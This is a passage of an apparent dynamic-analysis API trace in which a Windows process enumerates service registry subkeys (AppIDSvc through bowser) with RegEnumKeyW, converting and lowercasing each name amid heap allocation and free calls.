(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0232.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0232.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0232.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.305] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.305] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.305] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.305] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.306] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.306] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.306] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0232.306] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.306] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0232.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.307] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.307] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0232.307] 